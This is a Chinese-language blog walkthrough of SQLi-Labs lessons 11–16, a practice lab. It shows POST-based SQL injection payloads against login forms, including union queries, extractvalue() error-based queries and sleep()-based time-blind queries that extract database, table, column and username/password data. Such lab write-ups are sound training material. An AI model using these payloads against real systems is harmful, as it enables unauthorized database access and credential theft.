SQLi-Labs:Less11-Less16

Less 11

前几关传输数据的方式是get,可以在url里看到,而现在使用的是php中的post方法进行传输,所以我们要借助burp suite来进行操作

我们首先输入账号admin,密码admin,得到界面如下:

 

 

 打开burp suite设置代理以及设置浏览器为手动代理,在浏览器这里开启post data复选框

 

 如下:

 

 我们在lesson 11界面重新输入账号,密码为admin,然后将burp suite里这些:uname=admin&passwd=admin&submit=Submit复制下来

 

 粘贴到浏览器post data框里,关掉burp suite的接收

 

 点击execute current URL以后,正常登录

现在开始测试有没有注入点,用户名输入admin',密码不变,页面报错有语法错误说明存在注入漏洞,并且是字符型注入

账号输入jyx' or 1=1#,登录成功(此处不能使用--+,因为--+主要使用在url中,#在这里是适用的),所以在这里我们找到了注入语句闭合方式

 猜列数:

uname=admin' order by 2#&passwd=admin&submit=Submit

 

 uname=admin' order by 3#&passwd=admin&submit=Submit

 

 说明有2列

我们就可以通过回显注入联合查询进行注入

uname=admin' and 1=2 union select 1,2#&passwd=admin&submit=Submit

 

 

 查看当前数据库为security

uname=admin' and 1=2 union select database(),2#&passwd=admin&submit=Submit

 

 查看库里有什么表

uname=admin' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

 

 查看表里有什么字段:

uname=admin' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users'#&passwd=admin&submit=Submit

 

 查看字段内容:

uname=admin' and 1=2 union select group_concat(username,password),2 from security.users#&passwd=admin&submit=Submit


Less 12

 同第11关一样,我们要借助burp suite来进行操作

首先输入账号admin,密码admin来登录,并将抓取到的用户名密码部分粘贴到Post data

 

 

 burpsuite里点击forward放行并关掉burpsuite接受包

在账号的admin后面加单引号,只是提示登录失败

 

 

 加双引号,报错,根据报错我们可以知晓这一关的闭合方式为")

 

 

 注:一开始加单引号并不报错,所以我们尝试双引号,这就涉及到了一个测试闭合的方法,一般就是:'    ')     '))    "    ")     "))

uname=admin") or 1=1#&passwd=admin&submit=Submit,登录成功

 

 

 剩下的如同第十一关就可以

猜列数

uname=admin") order by 2#&passwd=admin&submit=Submit

 

 

 uname=admin") order by 3#&passwd=admin&submit=Submit

 

 

 所以共有2列

开始联合查询

当前数据库名称

uname=adm") union select database(),2  # &passwd=a&submit=Submit

 

 

 其他数据库名称

uname=adm") union select (select schema_name from information_schema.schemata limit 1,1),2  # &passwd=a&submit=Submit

 

 

 当前数据库的表名

uname=adm") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)  # &passwd=a&submit=Submit

 

 

 users表的列名

uname=adm") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)  # &passwd=a&submit=Submit

 

 

 内容

uname=adm") union select 1,(select group_concat(concat_ws(0x7e,username,password)) from security.users)  # &passwd=a&submit=Submit


 

 

 

Less 13 

同样先用账号admin和密码admin登录

 

 

 账号admin后面加单引号

 

 

 通过报错信息我们知晓闭合方式是')

 

 

 猜列数

uname=admin') order by 3# &passwd=admin&submit=Submit

uname=admin') order by 2# &passwd=admin&submit=Submit

依旧能根据报错猜出是两列,但是登录成功页面也并没有回显,所以我们考虑报错注入或者盲注

 

 

 布尔型盲注需要一个一个比对ASCII码,时间盲注也可以,但在这里我们首先使用报错注入里的extractvalue()

首先当前数据库

uname=admin') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))# &passwd=admin&submit=Submit

 

 

 表名

uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))# &passwd=admin&submit=Submit

 

 

 列名

uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))# &passwd=admin&submit=Submit

 

 

 内容

uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))# &passwd=admin&submit=Submit


 

Less 14

 账号admin后加单引号无法登录不报错,尝试双引号报错

 

 

 其他同第十三关一样,可以尝试时间注入和报错注入


 

Less 15

正常用账号密码登录以后,在账号的admin各种单引号双引号括号只是显示无法登录并不报错,所以这一关要考虑时间盲注了

uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=admin&submit=Submit

 

 uname=admin' and if(length(database())=9,sleep(5),1)#&passwd=admin&submit=Submit

 

 所以当前数据库共有8个字

爆库

当前数据库第一个字

uname=admin' and if(ascii(left(database(),1))>114,sleep(5),1)#&passwd=admin&submit=Submit

 

 uname=admin' and if(ascii(left(database(),1))>115,sleep(5),1)#&passwd=admin&submit=Submit

 

 所以当前数据库第一个字ASCII码值为115,为's',逐个猜解,当前数据库名字为'security'

爆表名(在这之前要像爆库名一样用length()判断一下表名长度)

security数据库第一个表的第一个字

uname=admin' and if(ascii(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>100,sleep(5),1)#&passwd=admin&submit=Submit

 

 uname=admin' and if(ascii(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>101,sleep(5),1)#&passwd=admin&submit=Submit

 

 所以security数据库第一个表的第一个字ASCII码值为101,为'e',逐个猜解,该表名为'emails'

爆列名(在这之前要像爆库名一样用length()判断一下库名长度)

uname=admin' and if(ascii(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))>104,sleep(5),1)#&passwd=admin&submit=Submit

 

 uname=admin' and if(ascii(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))>105,sleep(5),1)#&passwd=admin&submit=Submit

 

 所以当前数据库的emails表里字段名第一个字ASCII码值为105,为'i',逐个猜解,该字段名为'id'

爆内容(在这之前要像爆库名一样用length()判断一下该内容长度)

我们爆users表的username字段的第一个值的第一个字

uname=admin' and if(ascii(left((select username from security.users limit 0,1),1))>67,sleep(5),1)#&passwd=admin&submit=Submit

 

 uname=admin' and if(ascii(left((select username from security.users limit 0,1),1))>68,sleep(5),1)#&passwd=admin&submit=Submit

 

 所以当前数据库的users表里username字段第一个值得第一个字ASCII码值为68,为'D',逐个猜解,该值为'Dumb'


 

Less 16

闭合方式为双引号,其他均与第15关一致利用时间盲注来注入~~~

 

就酱~~~

posted @ 2020-02-26 18:10  ApricityJ  阅读(178)  评论(0编辑  收藏  举报